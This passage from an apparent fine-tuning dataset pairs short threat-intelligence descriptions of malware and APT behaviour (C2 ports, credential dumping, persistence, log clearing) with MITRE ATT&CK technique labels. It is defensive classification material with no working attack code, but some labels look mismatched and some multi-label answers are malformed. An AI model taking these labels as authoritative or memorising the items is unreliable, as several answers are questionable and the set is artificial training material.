                "content": "The malware proceeds to connect to the C2 server at 5.189.145.248 at regular intervals through the use of TCP over port 10500"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Though this is unsophisticated, a remote shell does provide a highly flexible and powerful means of remote access in the hands of a skilled attacker"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used malware to delete files after they are deployed on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has stored collected date in a .tmp file."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has created a cmd.exe reverse shell, executed commands, and uploaded output via the command line."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 compromised legitimate organizations' websites to create watering holes to compromise victims."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to contact the C2 server over TCP using port 80."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data above contains the hostname (‘HOSTNAME-PC’) of the victim machine, as well as an instruction"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The contents of the batch files vary depending on the OS (x64 vs x86). The batch files perform these tasks:  Stop the service COMSysApp Configure the service to autostart (to set up persistence on the system) Modify registry keys to launch the DLL unser svchost.exe Specify the malicious DLL path to be loaded into the svchost process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1112 - Modify Registry', 'T1064 - Scripting', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYNful Knock has the capability to add its own custom backdoor password when it modifies the operating system of the affected network device."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma can collect the local MAC address using `GetAdaptersInfo` as well as the system's IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor has been named `srvdll.dll` to appear as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal main module The DLL (pvcu.dll) is Bisonal malware but using a different cipher for C2 communication that other publicly documented samples. Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body. The Bisonal sample we observed in this case employs the RC4 cipher with the key “78563412”. To date, all Bisonal samples we have seen using RC4 use this same key. The oldest sample we have dates to 2014, so this variant has been in the wild for several years. For example, the Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1071.001 - Application Layer Protocol: Web Protocols', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is a classic RAT that can download, upload, execute commands on the victim host and, finally, perform keylogging"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus checks for processes associated with anti-virus vendors."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Oddly, the crooks decided to use a local web server exposed to the Internet via the free ngrok service—a reverse proxy software that creates secure tunnels—to collect the stolen data"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects password policy information with the command net accounts."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of performing screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "enumerates directories and scans for certain files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs COM hijacking by setting the path to itself to the HKCU\\Software\\Classes\\Folder\\shell\\open\\command key with a DelegateExecute parameter"
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird checks for the presence of Bitdefender security software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy's uninstaller has base64-encoded its variables."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors employed code that used `regsvr32` for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LOWBALL command and control occurs via HTTPS over port 443."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. The stealer attempts to obtain credentials from LSASS with a technique similar to that used by Mimikatz"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito runs \"tasklist\" to obtain running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  command and control protocol's data stream can be encrypted with AES-CBC."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to encryption, the ransomware will check if the directory is in the root path and avoids the following files and directories"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SNUGRIDE communicates with its C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe Injection Technique To Increase Stealthiness After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilGrab has the capability to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team's research of potential victim organizations included the identification and collection of employee information."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can retrieve the ARP cache from the local system by using \"GetIpNetTable\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During FunnyDream, the threat actors used netstat to discover network connections on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo has enumerated the local administrators group."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.  malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One persistence mechanism used by CozyCar is to register itself as a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144)."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can spread within a network via the BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB respectively."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage has the ability to capture the victim's screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using previously stolen credentials the attacker logged into a domain controller and copied tools into the %TEMP% directory. Copied tools included AdFind.exe (Active Directory enumeration utility), a batch script (Figure 2), and a copy of the 7-Zip archive utility. Downloaded utilities were copied to C:\\Windows\\SysWOW64\\. - The attacker performed host and network reconnaissance using built-in Windows commands. AdFind.exe was executed using the previously noted batch script, which was crafted to pass the utility a series of commands that were used to collect information about Active Directory users, systems, OUs, subnets, groups, and trust objects. The output from each command was saved to an individual text file alongside the AdFind.exe utility (Figure 2). - This process was performed twice on the same domain controller, 10 hours apart. Between executions of Adfind the attacker tested access to multiple domain controllers in the victim environment, including the one later used to deploy Ryuk. The attacker logged into a domain controller and copied instances of PSExec.exe, a batch script used to kill processes and stop services, and an instance of Ryuk onto the system. Using PsExec the attacker copied the process/service killing batch script to the %TEMP% folder on hundreds of computers across the victim environment, from which it was then executed. The attacker then used PsExec to copy the Ryuk binary to the %SystemRoot% directories of these same computers"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaRicto has used scheduled tasks to download backdoor tools."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess can use an encrypted channel for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox has the ability to list processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT17 has created profile pages in Microsoft TechNet that were used as C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The agent control panel has three tabs that have interfaces that allow the actor to issue commands, as well as upload and download files to and from the agent"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can launch a remote shell to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that can obtain information about the local system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by adding itself to the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has been executed through convincing victims into clicking malicious links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses RC4 encryption over TCP to communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FireEye assesses APT33 may be behind a series of intrusions and attempted intrusions within the engineering industry. FireEye's Managed Defense has responded to and contained numerous intrusions that we assess are related. The actor is leveraging publicly available tools in early phases of the intrusion; however, we have observed them transition to custom implants in later stage activity in an attempt to circumvent our detection"
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores', 'T1003.001 - OS Credential Dumping: LSASS Memory', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1552.006 - Unsecured Credentials: Group Policy Preferences', 'T1003.004 - OS Credential Dumping: LSA Secrets', 'T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sets a WH_CBT Windows hook to search for and capture files on the victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has installed ANTAK and ASPXSPY web shells."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya uses \"wevtutil\" to clear the Windows event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has run a plug-in on a victim to spread through the local network by using PsExec and accessing admin shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used Mimikatz to exploit a domain controller via the ZeroLogon exploit (CVE-2020-1472)."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes one of its files, 2.hwp, from the endpoint after establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used TCP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaBricks has added the entire unobfuscated code of the legitimate open source application Blink to its code."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BendyBear has the ability to determine local time on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has created scheduled tasks to launch executables after a designated number of minutes have passed."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has the ability to overwrite its own file with random bites."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the anti-analysis checks are complete, the loader starts preparing the infected environment for the downloading of additional payloads. There are 3 download attempts (and thus 3 GET requests trailing by a different numeric ID), the payloads are downloaded subsequently to the user’s %temp% folder"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has exfiltrated data over its C2 channel."
            },
            {
                "role": "assistant",
